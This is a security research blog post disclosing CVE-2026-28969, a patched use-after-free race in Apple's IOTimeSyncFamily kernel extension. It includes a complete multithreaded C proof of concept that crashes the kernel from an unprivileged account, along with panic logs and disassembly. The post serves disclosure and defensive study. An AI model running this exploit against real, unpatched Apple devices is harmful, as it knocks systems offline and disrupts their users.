all posts

The 2017 Ghost in the Time Machine: Hunting IOTimeSyncFamily on macOS 26

A regression in Apple's IOTimeSyncFamily brought back a 2017 IOKit lifecycle race, leading to CVE-2026-28969 and a reliable macOS kernel panic.

The 2017 Ghost in the Time Machine: Hunting IOTimeSyncFamily on macOS 26

The same IOKit lifecycle race Apple patched in 2017 came back nine years later — and two researchers found it within five days of each other.

Author: Ashish Kunwar (@D0rkerDevil) — Vulnerability Researcher, GanaSec Date: May 2026

CVE / Advisory Details
  • CVE: CVE-2026-28969
  • CVSS 3.1: 7.5 HIGH (CISA-ADP: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — though the reachable surface is local)
  • CWE: CWE-416 (Use After Free)
  • Apple impact: "An app may be able to cause unexpected system termination."
  • Affected: iOS / iPadOS < 18.7.9 and 26.0–26.5; macOS Sonoma < 14.8.7; macOS Sequoia < 15.7.7; macOS Tahoe < 26.5; tvOS, visionOS, watchOS < 26.5
  • Fixed in: iOS / iPadOS 18.7.9 and 26.5; macOS Sonoma 14.8.7; macOS Sequoia 15.7.7; macOS Tahoe 26.5; tvOS 26.5; visionOS 26.5; watchOS 26.5
  • Advisories: HT127110, HT127111, HT127115, HT127116, HT127117, HT127118, HT127119, HT127120

Preface

In late March 2026, while systematically auditing the IOKit attack surface on macOS 26.4, I independently discovered a use-after-free in the IOTimeSyncFamily kernel extension — a race condition between clientClose() and externalMethod() on IOTimeSyncClockManagerUserClient. The same bug was independently found by Mihalis Haatainen roughly five days earlier. Apple credited both parties under CVE-2026-28969, fixed in macOS 26.5.

This writeup covers the discovery, root cause analysis, and crash site reverse engineering — with PoC code and raw panic register dumps.


Part I — The UAF Race

Background: IOTimeSyncFamily

IOTimeSyncFamily (com.apple.iokit.IOTimeSyncFamily, version 1440.24) is Apple's kernel-level implementation of IEEE 802.1AS / IEEE 1588 Precision Time Protocol (gPTP/PTP). It provides time synchronization for audio/video streaming, Thunderbolt networking, and AVB (Audio Video Bridging) on macOS and iOS. The kext exposes two user client classes to userspace via IOKit:

  • IOTimeSyncClockManagerUserClient — manages the gPTP clock and peer relationships
  • IOTimeSyncDomainUserClient — manages PTP/EtE time synchronization domains and ports

Both are accessible from any local process (uid=501, no entitlements required to open the service). The ClockManager user client accepts external method selectors 0–16, while the Domain user client handles selectors 18–52.

How I Found It

I wasn't looking for IOTimeSyncFamily specifically. I was running a systematic sweep of every openable IOKit service on macOS 26.4, probing each for race conditions between IOServiceClose() and concurrent IOConnectCallMethod() calls. The methodology is simple: open a connection, fire external methods on multiple threads, and simultaneously close the connection from another thread. If the driver doesn't properly synchronize teardown against in-flight method dispatch, you get a use-after-free.

IOTimeSyncClockManager was one of 35 services I could open from uid=501. When my racer hit selectors 5 and 6, the kernel panicked within seconds.

The Race

The bug is a textbook IOKit lifecycle race:

Thread A (racer)                    Thread B (closer)
─────────────────                   ──────────────────
IOConnectCallMethod(conn, 5, ...)
  → MIG dispatch
    → externalMethod(5)
      → addgPTPServices()
        → ldr x0, [x19, #0xF0]     IOServiceClose(conn)
           ↑ x19 is the internal      → clientClose()
             object pointer              → OSSafeReleaseNULL(&fInternal)
                                            → fInternal = NULL
        → x19 is now NULL
        → ldr x0, [0x0 + 0xF0]
        → KERNEL DATA ABORT
           FAR = 0x00000000000000F0

clientClose() calls OSSafeReleaseNULL() on the internal object, zeroing the pointer. A concurrent externalMethod() on selector 5 (addgPTPServices) dereferences the same pointer at offset +0xF0 to load a mutex address. With the pointer zeroed, this becomes a load from NULL + 0xF0 = 0xF0, which is unmapped — instant kernel panic.

The Panic

I triggered four kernel panics with identical crash signatures across different KASLR slides, confirming the same root cause:

panic(cpu 2 caller 0xfffffe001f943bd8): Kernel data abort.
  at pc 0xfffffe001e7d42a0, lr 0xacc7fe001e7e6180

  x0:  0x0000000000000000    ← NULL (freed internal object)
  x1:  0xfffffe2ad4fa9ec0
  x19: 0x0000000000000000    ← freed object pointer = NULL
  x25: 0x0000000000000005    ← external method selector (5 = addgPTPServices)
  
  esr: 0x96000006            ← Data Abort, Translation fault level 2, read
  far: 0x00000000000000f0    ← NULL + 0xF0

Kernel Extensions in backtrace:
  com.apple.iokit.IOTimeSyncFamily(1440.24)
  
OS version: macOS 26.4 (25E246)
Kernel: xnu-12377.101.15~1/RELEASE_ARM64_VMAPPLE

The panic is 100% reproducible. My PoC uses 64 racer threads and 16 closer threads — the kernel goes down within seconds to minutes, depending on scheduler timing.

The PoC

/*
 * IOTimeSyncFamily Kernel Panic PoC — Use-After-Close Race
 * macOS 26.4 (Build 25E246)
 * 
 * Crash: panic at IOTimeSyncFamily+0x178D0, FAR=0xF0
 *        x19=0 (freed/NULL object), x25=5 (selector)
 *
 * Compile: cc -o poc poc_race.c -framework IOKit -lpthread -O2
 * Run:     ./poc
 * Effect:  Kernel panic within seconds to minutes
 *
 * Author: Ashish Kunwar (@D0rkerDevil)
 */
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <IOKit/IOKitLib.h>
#include <unistd.h>

static io_service_t g_svc = 0;
static volatile long g_count = 0;

void *racer(void *arg) {
    int tid = (int)(long)arg;
    uint64_t si[4] = {0x41414141, 0xDEAD, (uint64_t)tid, 0};
    uint64_t so[4];
    uint32_t so_cnt;
    while (1) {
        io_connect_t conn;
        if (IOServiceOpen(g_svc, mach_task_self(), tid % 10, &conn) != KERN_SUCCESS)
            continue;
        for (int i = 0; i < 100; i++) {
            so_cnt = 4;
            IOConnectCallMethod(conn, 5, si, 4, NULL, 0, so, &so_cnt, NULL, NULL);
            so_cnt = 4;
            IOConnectCallMethod(conn, 6, si, 4, NULL, 0, so, &so_cnt, NULL, NULL);
        }
        IOServiceClose(conn);
        so_cnt = 4;
        IOConnectCallMethod(conn, 5, si, 4, NULL, 0, so, &so_cnt, NULL, NULL);
        __sync_fetch_and_add(&g_count, 1);
    }
    return NULL;
}

void *closer(void *arg) {
    while (1) {
        io_connect_t conn;
        if (IOServiceOpen(g_svc, mach_task_self(), 0, &conn) == KERN_SUCCESS)
            IOServiceClose(conn);
    }
    return NULL;
}

int main() {
    CFMutableDictionaryRef match = IOServiceMatching("IOTimeSyncClockManager");
    io_iterator_t iter;
    IOServiceGetMatchingServices(kIOMainPortDefault, match, &iter);
    g_svc = IOIteratorNext(iter);
    if (!g_svc) { printf("[-] Service not found\n"); return 1; }

    printf("[+] IOTimeSyncFamily Race Condition Kernel Panic PoC\n");
    printf("[+] Target: macOS 26.4 (25E246)\n");
    printf("[+] 64 racer threads + 16 closer threads\n");
    printf("[!] WARNING: This WILL kernel panic the system!\n\n");

    pthread_t threads[80];
    for (int i = 0; i < 64; i++)
        pthread_create(&threads[i], NULL, racer, (void*)(long)i);
    for (int i = 0; i < 16; i++)
        pthread_create(&threads[64+i], NULL, closer, (void*)(long)i);

    while (1) {
        sleep(10);
        printf("  %ld race cycles completed\n", g_count);
    }
    return 0;
}

The key to winning the race: fire 100 method calls per connection to widen the window, then call IOConnectCallMethod() after IOServiceClose() — this catches the exact moment where clientClose() has NULLed the internal pointer but MIG hasn't yet invalidated the send right.

Reachability

The user client requires no entitlement and is not gated by any sandbox profile:

// test_access.c — confirm unprivileged access
// build: clang -o test_access test_access.c -framework IOKit
// run:   ./test_access   (any local user, no entitlements)
#include <stdio.h>
#include <IOKit/IOKitLib.h>

int main(void) {
    io_service_t svc = IOServiceGetMatchingService(
        kIOMainPortDefault,
        IOServiceMatching("IOTimeSyncClockManager"));
    if (svc) {
        io_connect_t conn;
        kern_return_t kr = IOServiceOpen(svc, mach_task_self(), 0, &conn);
        printf("[+] Unprivileged access: %s\n",
               kr == KERN_SUCCESS ? "YES" : "NO");
        if (kr == KERN_SUCCESS) IOServiceClose(conn);
        IOObjectRelease(svc);
    }
    return 0;
}

Output as uid=501, no entitlements, SIP enabled:

[+] Unprivileged access: YES

Part II — Crash Site Reverse Engineering

I extracted the IOTimeSyncFamily kext binary from the macOS 26.4 IPSW kernelcache and disassembled the crash site to understand exactly what the CPU was doing at the moment of panic.

The Crash Instruction

Using ipsw kernel extract on the 26.4 kernelcache, I located IOTimeSyncClockManager::addgPTPServices() at kext offset +0x178D0:

; IOTimeSyncClockManager::addgPTPServices()
; x19 = internal object pointer (NULL after race)

0xfffffe00093c42a0:  ldr  x0, [x0, #0xf0]     ; Load mutex pointer from [object+0xF0]
                                                 ; CRASH SITE: x0 = NULL → FAR = 0xF0
0xfffffe00093c42a4:  bl   _lck_mtx_lock         ; Lock the mutex
0xfffffe00093c42a8:  ldr  x8, [x19, #0x90]     ; Read another field
0xfffffe00093c42ac:  cbnz x8, +0xb0            ; Branch if non-null
...
0xfffffe00093c42d4:  ldr  x16, [x19]           ; Load vtable pointer (PAC-signed)
0xfffffe00093c42dc:  autda x16, x17            ; Authenticate vtable with PAC
0xfffffe00093c4314:  blraa x9, x17             ; PAC-authenticated virtual dispatch

Key observations from the disassembly:

  1. The mutex load at +0xF0 is not PAC-protected. The value loaded from [object+0xF0] is used directly as the argument to _lck_mtx_lock. No AUTDA or AUTIA instruction guards it.
  1. _lck_mtx_lock performs a conditional atomic write. On XNU ARM64, lck_mtx_lock() uses the CASA (Compare-And-Swap, Acquire) instruction:
; _lck_mtx_lock internals (simplified)
ADD  X10, X0, #8              ; x10 = mutex_addr + 8
CASA X2, X8, [X10]            ; if [mutex_addr+8] == 0: write thread_id to [mutex_addr+8]
  1. The vtable dispatch later at +0x2D4 IS PAC-protected. AUTDA + BLRAA authenticate the vtable before the virtual call.

Object Layout

From the fields accessed in the crash path and the kext's __kalloc_type section metadata:

OffsetFieldUsage
+0x00vtable pointerPAC-signed, loaded at +0x2D4
+0x90branch condition fieldControls code path selection
+0xF0mutex pointer (lck_mtx_t *)Not PAC-protected

Minimum object size: 0xF8 bytes (248). Allocated in kalloc.type.296 — a typed zone with zone_require enforcement, which blocks cross-zone heap spray.

Zone Map (from panic log)

Zone map: 0xfffffe1004000000 - 0xfffffe3604000000
  VM   :  0xfffffe1004000000 - 0xfffffe15d0000000   (23 GB)
  RO   :  0xfffffe15d0000000 - 0xfffffe186a000000   (10 GB)
  GEN0 :  0xfffffe186a000000 - 0xfffffe1e36000000   (23 GB — typed kalloc)
  GEN1 :  0xfffffe1e36000000 - 0xfffffe2402000000   (23 GB — threads)
  GEN2 :  0xfffffe2402000000 - 0xfffffe29ce000000   (23 GB — general typed)
  GEN3 :  0xfffffe29ce000000 - 0xfffffe2f9a000000   (23 GB — general typed)
  DATA :  0xfffffe2f9a000000 - 0xfffffe3604000000   (26 GB — untyped)

The freed internal object is a typed C++ object in a generation-segregated zone (GEN0/GEN2). zone_require enforces type-safety at free time, preventing IOSurface/OOL-message spray from reclaiming the slot. This is the primary exploitation barrier — same-type replacement (opening another IOTimeSyncClockManager connection to reclaim the slot) produces a kext-initialized object where +0xF0 points to a valid mutex, not an attacker-controlled address.

What's Next

Four confirmed kernel panics across different KASLR slides. The crash is reliable and the root cause is clear — but the story doesn't end at the panic. A future post will walk through the exploitation attempts — heap reclaim strategies against XNU's typed zone allocator, the constraints imposed by zone_require and PAC, and what it actually takes to try to turn an IOKit UAF into something more than a crash on modern macOS.


Part III — The Historical Ghost: CVE-2017-13847

This bug is a regression of CVE-2017-13847, discovered by Ian Beer of Google Project Zero in 2017. Beer's original finding was the same pattern: a race condition in an IOKit user client's clientClose() path that freed objects while concurrent externalMethod() calls still referenced them. Apple fixed it, then at some point the fix regressed.

The 2017 variant was in the same IOTimeSyncFamily kext. The 2026 variant crashes at the same offset (+0xF0), the same selector (5), and produces the same NULL dereference pattern. Nine years later, the ghost came back.

This is not uncommon in IOKit. The pattern — clientClose() tearing down state without holding a lock that externalMethod() also needs — is the most common IOKit kernel vuln class. It recurs because:

  1. IOKit doesn't enforce atomic teardown at the framework level
  2. Each driver must implement its own synchronization
  3. When drivers are refactored or new methods are added, existing locks can become insufficient
  4. Without continuous regression testing with a concurrency fuzzer, these gaps go undetected

Part IV — Timeline

DateEvent
2026-03-29First kernel panic observed during IOKit service sweep
2026-03-30Crash isolated to IOTimeSyncFamily via panic backtrace. PoC written. 4/4 panics confirmed. Report submitted to Apple SRD.
2026-05-07CVE-2026-28969 assigned
2026-05-11Fix shipped across the 26.5 release family (iOS, iPadOS, macOS Tahoe, tvOS, visionOS, watchOS) plus security updates for macOS Sequoia 15.7.7 and macOS Sonoma 14.8.7. Apple security advisories HT127110–HT127120 and NVD entry published same day.

Lessons

For Apple: IOKit user client lifecycle races are the #1 kernel bug class on macOS/iOS. The clientClose() / externalMethod() pattern has produced CVEs for over a decade. A framework-level isInactive() check injected before every externalMethod() dispatch would eliminate the entire class. Until then, every driver author must independently remember to hold a lock across teardown — and nine years of IOTimeSyncFamily shows how that goes.

For researchers: When you find a race in one user client of a kext, reverse-engineer the entire dispatch table. One bug finding can unlock others if you don't stop at the first crash.

For the community: This bug was independently discovered twice within five days, by researchers on different continents using different methodologies. That's not coincidence — it's what happens when a nine-year-old bug class regresses in a well-known attack surface. The 2017 ghost was waiting for someone to run a race condition fuzzer against IOTimeSyncFamily again. Two someones did.


References


About the Author

Ashish Kunwar · Founder, GanaSec

Ashish Kunwar is the founder of GanaSec, an offensive security research firm. GanaSec focuses on vulnerability research across multiple platforms. Ashish has over 500 responsible disclosures, 8+ CVEs, and part of his research was presented at DEF CON 29. He was previously with Microsoft MSTIC and has been recognized by Forbes for his contributions to cybersecurity.

If you want us to hunt for bugs like this in your environment, book a 30-minute scoping call.

CONTINUE READING
all postsBook a call